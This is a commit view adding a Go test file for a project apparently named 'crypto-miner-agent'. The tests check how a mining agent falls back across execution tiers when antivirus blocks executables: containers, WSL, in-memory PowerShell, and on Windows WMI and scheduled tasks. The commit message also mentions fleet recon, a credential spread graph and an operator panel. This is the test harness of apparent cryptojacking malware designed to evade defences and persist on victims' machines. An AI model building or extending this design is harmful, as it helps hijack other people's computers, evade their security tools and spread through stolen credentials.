Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
199
agent/miner/lotl_tier_test.go
Normal file
199
agent/miner/lotl_tier_test.go
Normal file
@@ -0,0 +1,199 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func baseProbes() EnvironmentProbes {
|
||||
return EnvironmentProbes{
|
||||
Docker: true,
|
||||
WSL: true,
|
||||
PowerShell: true,
|
||||
DotNet: true,
|
||||
GPU: true,
|
||||
WebView2: true,
|
||||
}
|
||||
}
|
||||
|
||||
func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
|
||||
b := config.BuiltinConfig{
|
||||
MinerExecution: ExecutionAuto,
|
||||
PoolHost: "pool.example.com",
|
||||
Wallet: "test-cmr-wallet",
|
||||
}
|
||||
if overrides.MinerExecution != "" {
|
||||
b.MinerExecution = overrides.MinerExecution
|
||||
}
|
||||
if overrides.PoolHost != "" {
|
||||
b.PoolHost = overrides.PoolHost
|
||||
}
|
||||
if overrides.Wallet != "" {
|
||||
b.Wallet = overrides.Wallet
|
||||
}
|
||||
if overrides.GPUEnabled {
|
||||
b.GPUEnabled = overrides.GPUEnabled
|
||||
}
|
||||
if overrides.RVNWallet != "" {
|
||||
b.RVNWallet = overrides.RVNWallet
|
||||
}
|
||||
return config.RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
func chainContains(chain []LOTLTier, tier LOTLTier) bool {
|
||||
for _, t := range chain {
|
||||
if t == tier {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
|
||||
chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "rvn-wallet",
|
||||
}))
|
||||
if chain[0] != TierExeSubprocess {
|
||||
t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
|
||||
}
|
||||
if !chainContains(skipped, TierDockerLoad) {
|
||||
t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
|
||||
}
|
||||
for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
|
||||
if !chainContains(chain, tier) {
|
||||
t.Fatalf("missing %q in chain=%v", tier, chain)
|
||||
}
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
|
||||
if !chainContains(chain, tier) {
|
||||
t.Fatalf("windows chain missing %q: %v", tier, chain)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.AVBlocksExe = true
|
||||
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierContainer {
|
||||
t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
|
||||
}
|
||||
if !chainContains(skipped, TierExeSubprocess) {
|
||||
t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.Docker = false
|
||||
probes.AVBlocksExe = true
|
||||
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierWSL {
|
||||
t.Fatalf("no docker should try WSL next, got %v", chain)
|
||||
}
|
||||
if !chainContains(skipped, TierContainer) {
|
||||
t.Fatalf("expected container skipped, got %v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.Docker = false
|
||||
probes.WSL = false
|
||||
probes.AVBlocksExe = true
|
||||
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierPSInMemory {
|
||||
t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
|
||||
probes := baseProbes()
|
||||
probes.GPU = false
|
||||
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||
GPUEnabled: true,
|
||||
RVNWallet: "wallet",
|
||||
}))
|
||||
if chainContains(chain, TierGPUSubprocess) {
|
||||
t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
|
||||
}
|
||||
if !chainContains(skipped, TierGPUSubprocess) {
|
||||
t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainInProcessMode(t *testing.T) {
|
||||
chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
||||
MinerExecution: ExecutionInProcess,
|
||||
}))
|
||||
if chain[0] != TierCPUInprocess {
|
||||
t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
|
||||
}
|
||||
if !chainContains(chain, TierStratumDirect) {
|
||||
t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
|
||||
policy := MiningTierPolicy{
|
||||
TierOrder: DefaultTierOrder,
|
||||
SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
|
||||
}
|
||||
chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||
if chain[0] != TierContainer {
|
||||
t.Fatalf("server skip should start at container, got %v", chain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSelectMiningTierChainForceTier(t *testing.T) {
|
||||
policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
|
||||
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
||||
if len(chain) != 1 || chain[0] != TierCPUInprocess {
|
||||
t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
||||
probes := EnvironmentProbes{
|
||||
Docker: false,
|
||||
WSL: false,
|
||||
PowerShell: false,
|
||||
DotNet: false,
|
||||
}
|
||||
policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
|
||||
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
|
||||
StartInProcess: func() error { return nil },
|
||||
}, nil)
|
||||
|
||||
tier, err := o.TryChain(t.Context())
|
||||
if err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
if tier != TierCPUInprocess {
|
||||
t.Fatalf("active=%q want cpu_inprocess", tier)
|
||||
}
|
||||
report := o.Report()
|
||||
var exeAttempt, cpuAttempt *TierAttempt
|
||||
for i := range report.Attempts {
|
||||
switch report.Attempts[i].Tier {
|
||||
case TierExeSubprocess:
|
||||
exeAttempt = &report.Attempts[i]
|
||||
case TierCPUInprocess:
|
||||
cpuAttempt = &report.Attempts[i]
|
||||
}
|
||||
}
|
||||
if exeAttempt == nil || cpuAttempt == nil {
|
||||
t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
|
||||
}
|
||||
if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
|
||||
t.Fatalf("wallet must be identical: %v", report.Attempts)
|
||||
}
|
||||
if exeAttempt.OK {
|
||||
t.Fatalf("stub tier should fail: %v", *exeAttempt)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user